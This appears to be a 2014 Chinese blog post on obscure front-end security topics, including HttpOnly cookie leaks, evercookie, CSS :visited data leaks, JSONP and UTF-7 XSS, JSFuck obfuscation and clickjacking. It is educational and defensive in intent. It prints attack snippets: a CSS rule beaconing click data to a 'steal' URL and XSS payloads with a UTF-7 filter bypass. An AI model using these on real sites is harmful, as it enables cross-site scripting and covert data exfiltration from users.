前端安全冷门知识杂谈

###零、概述
提起web前端安全，大家都会想到两个名词：xss和csrf。
抛去这最常见，最被广泛应用的两者，我想谈谈一些难以觉察的，比较偏门的安全关注点。
大概分为以下章节：

盗取无法用js读写的Cookie
删不掉的本地存储
函数覆写监听上报
内存Cookie与硬盘Cookie
CSS带来的点击量泄露
JSONP回调函数与UTF-7编码
过滤与代码混淆
心理学与社会工程学

资料略多，文章较长，请自备瓜子…

###一、盗取无法用js读写的Cookie
为了防范xss获取Cookie，网络规范提供了HttpOnly Cookie机制，设置了该标志后，js脚本将无法读写该Cookie。但既然首先是“无法读”，如何“可以读”就成为了个有趣的话题。

1 2	setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie setcookie("test_http", 1, time()+3600, "", "", 0, 1);// 第7个参数是HttpOnly 标志，0 为关闭(默认)，1 为开启

我们还是可以通过一些服务器上的漏洞去获取它们。

####2.1) 调试信息泄露
比较经典的是PHP的phpinfo文件：

如果在部署服务时，没有删除这个默认的调试信息文件，将泄露服务器信息。其中包括HttpOnly Cookie。
访问phpinfo.php，将看到：
Alt text
其他的服务器，如python的Django，也有类似的调试信息文件，在外发时要注意清除。

####2.2) Apache 2.2.x版本请求头超长泄露
Cookies最大限制一般为4kb左右，如果请求头长度超过LimitRequestFieldSize，将会引发400错误。在Apache 2.2.x多个版本内，如果引发400(Bad Requerst)错误，会返回出错的请求头内容，这就包含了HttpOnly Cookie。
因此，我们可以利用这个漏洞，构造一个超长的请求，让Apache返回400，并用ajax捕获xhr.responseText即可获得HttpOnly Cookie信息。
Alt text

###三、删不掉的本地存储
如果把浏览器理解为一个器官，把恶意标志比方做寄生虫。这标志通过某种途径寄生在了浏览器，并且”永久”寄生，这想想都很可怕。这个标志，可能是植入广告的跟踪标志，或者有其他用处，总之它依附到你的浏览器就删不掉了。
但它是如何寄生的呢？又如何做到“永久”？这就涉及到本地存储安全。我们先看下常规的本地存储方案：

Cookie - 是最常见的方式，key-value 模式
UserData - IE自己的本地存储，key-value 模式
localStorage - HTML5 新增的本地存储，key-value 模式
local Database - HTML5 新增的浏览器本地DataBase，是SQLite 数据库
Flash Cookie Flash 的本地共享对象（LSO），key-value 模式，跨浏览器

除去这些，我还收集了一些比较“偏门”的存储方案：

Silverlight的IsolatedStorage - 类似HTML5 localStorage
PNG Cache，将Cookie 转换成RGB 值描述形式，以PNG Cache 方式强制缓存着，读入则以HTML5 的canvas 对象读取并还原为原来的Cookie 值
HTTP Etags、Web Cache - 本质上都是利用了浏览器缓存机制：浏览器会优先从本地读取缓存的内容
Web History，利用的是“CSS 判断目标URL 是否访问过”技巧，比如a标签访问过会显示紫色（新浏览器已fix）
window.name，本质就是一个DOM 存储，并不存在本地。

老外Samy Kamkar用半天开发了一个JavaScript API：evercookie。
该API利用了上面的全部存储手段，将“永不丢失你的cookie”贯彻到底…当evercookie发现用某种机制存储的cookie被数据将删除之后，它将利用其它机制创建的cookie数据来重新创建，让用户几乎不可能删除cookie。

###四、函数覆写监听上报
覆写函数，可以用于防范？这是网上安全论坛中有人提到的一个偏门要点。其缘由是：搞跨站的人总习惯用alert来确认是否已成功跨站，如果你要监控是否有人在测试你的网站xss的话，可以在你要监控的页面里覆写alert函数，记录alert调用情况。

function log(s) {
    var img = new Image();
    img.src = "http://yousite.com/log.php?caller=" + encodeURIComponent(s);
}
var _alert = alert;
window.alert = function(s) {
    log(alert.caller);
    _alert(s);
}

如此，就能在有人调用alert时，就执行上报，以供监控。好吧，这里还涉及人的心理学…
其实函数覆写无论攻还是防，都应该是我们关注的一个点。相关文章：《浅谈javascript函数劫持》。

###五、内存Cookie与硬盘Cookie
内存Cookie - 指没有设置过期时间Expires的Cookie，随浏览器关闭，此Cookie在内存中销毁
硬盘Cookie - 设置了过期事件Expires的Cookie，常驻硬盘，直到过期

我们很容易得出结论：内存Cookie更安全。因此，某些站点会把敏感信息放到内存Cookie里面。这原本是没什么风险的，但恰巧会在遇到XSS的时候失控。试想下，XSS攻击者可以给内存Cookie加一个过期时间，使其变为硬盘Cookie，就会在未来很长一段时间内，甚至是永久控制着目标用户的账号权限。

因此，这里有两个关注点：

敏感信息还是不要放Cookie里，即使是内存Cookie；
服务器要做Cookie的三个维度的校验 - 唯一性（是否验证通过）、完整性（是否被篡改了）、是否过期。

###六、CSS带来的点击量泄露
在我们的印象中，前端安全基本是js带来的问题，但css也会有安全隐患吗？是的。除去IE下的css中执行js代码问题，还有另外一个关注点。
假如有一个开源组件，我们只看了下js源码，觉得没有漏洞风险，就直接拿过来使用了。况且，没有前端人员乐于去读别人的css的…但有某种极端的情况，css带来了意想不到的数据泄露。
试想这是一个导航栏组件，html代码是这样的：

1
2
3

<a href="http://yousite.com/a1" id="a1">nav1</a>
<a href="http://yousite.com/a2" id="a2">nav2</a>
<a href="http://yousite.com/a3" id="a3">nav3</a>

你忽略掉的css写成这样：

1
2
3

#a1:visited {background: url(http://report.com/steal?data=a1);}
#a2:visited {background: url(http://report.com/steal?data=a2);}
#a3:visited {background: url(http://report.com/steal?data=a3);}

我们用到业务里，用户点击这三个导航后，a标签的visited伪属性生效，就会设置background，而背景的url其实是上报地址。这时候，你的业务的点击数据量就暴露给第三方了！
当然，这只针对旧版本浏览器，新版本浏览器都已fix这个问题。可是，HTML5的出现又让这个问题回归了…
HTML5提供伪类::selection，当指定对象区域被选择时，就会触发。其原理跟上面类似。

###七、JSONP回调函数与UTF-7编码

####7.1) 基本原理
在JSONP技术中，服务器通常会让请求方在请求参数中提供callback 函数名，而不是由数据提供方定制，如请求方发起请求：
cgi-bin/get_jsonp?id=123&call_back=some_function
返回数据格式为：
some_function([{'id':123, data:'some_data'}]);
如果，数据提供方没有对callback函数名做安全过滤，就会带来XSS问题。
请求：
cgi-bin/get_jsonp?id=123&call_back=<script>alert(1);</script>
返回：
<script>alert(1);</script>([{'id':123, data:'some_data'}]);
所以，一般服务器都会对call_back参数进行过滤，但过滤的方法是否会存在漏洞呢？

####7.2) IE解析UTF-7漏洞
比较简单的过滤方法，是过滤<>字符，使得无法构成html标签。但在IE6\IE7的某些版本中，存在以下漏洞：如果发现文件前面是“+/v8”开头，就把文件当做UTF-7解析（IE7后续版本已发布补丁修复）。
在没被修复的IE版本中，如果我们将上面的请求用utf-7编码。再在前面加上”+/v8”头：
cgi-bin/get_jsonp?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4
这时候巧妙的躲开了<>过滤，而返回：
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4({‘id’=>123,data=>’some_data’});
这时IE将这个jsonp文件当作utf-7解析，依然触发XSS。

###八、过滤与代码混淆
过滤器如果过滤了大部分的js函数，如eval、alert之类，是否就能保证安全呢？必然不是，我们还有强大的js代码混淆手段，可以绕过过滤器。这里推荐一个神奇的网站：jsfuck。
站名如其名，满满的恶意…它可以仅仅用6个字符：[]()!+去混淆编码js。而且兼容性特别的完善。以下是我在最新chrome下的截图，将一句alert(1)编码成了3009个字符，并执行成功：
Alt text
所以过滤器仅仅通过适配关键函数名，是不能保证安全性的。

###九、心理学与社会工程学
有个观点认为“一切钓鱼网站成功案例，都是一次心理学的实战演练”。在这个层面，可谓五花八门，创意百出。分享两个案例：

####9.1）诱导触发拖拽事件
比方说，有某已知漏洞，要用户触发拖拽事件才能触发。怎么搞定这个事情呢？
很简单，添加一张图片：
Alt text
注意这是一张图片，滚动条是图片的一部分而不是真正的浏览器控件，用户自然会去下拉“滚动条”，因而触发了这个漏洞。

####9.2) 传说中的QQ空间“传染病毒”
步骤是这样的：

A(始作俑者)发布了一条说说：这个网站很好玩，快来试试吧~ http://xxx.xxx
A的好友们看到了，打开了这个链接，玩了一下后，就关闭了页面
好友们不知道，竟然自己的空间主动转发了这条说说（问题是自己没有点转发呀！）
一传十十传百，越传越广…

但真实的情况跟CSRF没一点关系。玄妙在于：好友们打开链接后干了什么事情？
这个网站是一个小球在跳来跳去，网站上有一句话：你能点到我吗？
用户看到后，就很想去点击小球，看会发生什么；但点击后，就转发了说说…

有人会问，这不是CSRF吗？还真不是。做法却很简单：
“有趣”的网站内嵌了一个iframe，iframe加载的是这条说说的原页面，然后把“转发”按钮刚好放到小球的位置上，再把这iframe的透明度变为0。所以用户点击小球，其实是点击了iframe中的转发按钮。真是令人万万没想到。

以上。
End. 5.27 by litten.

2014-05-27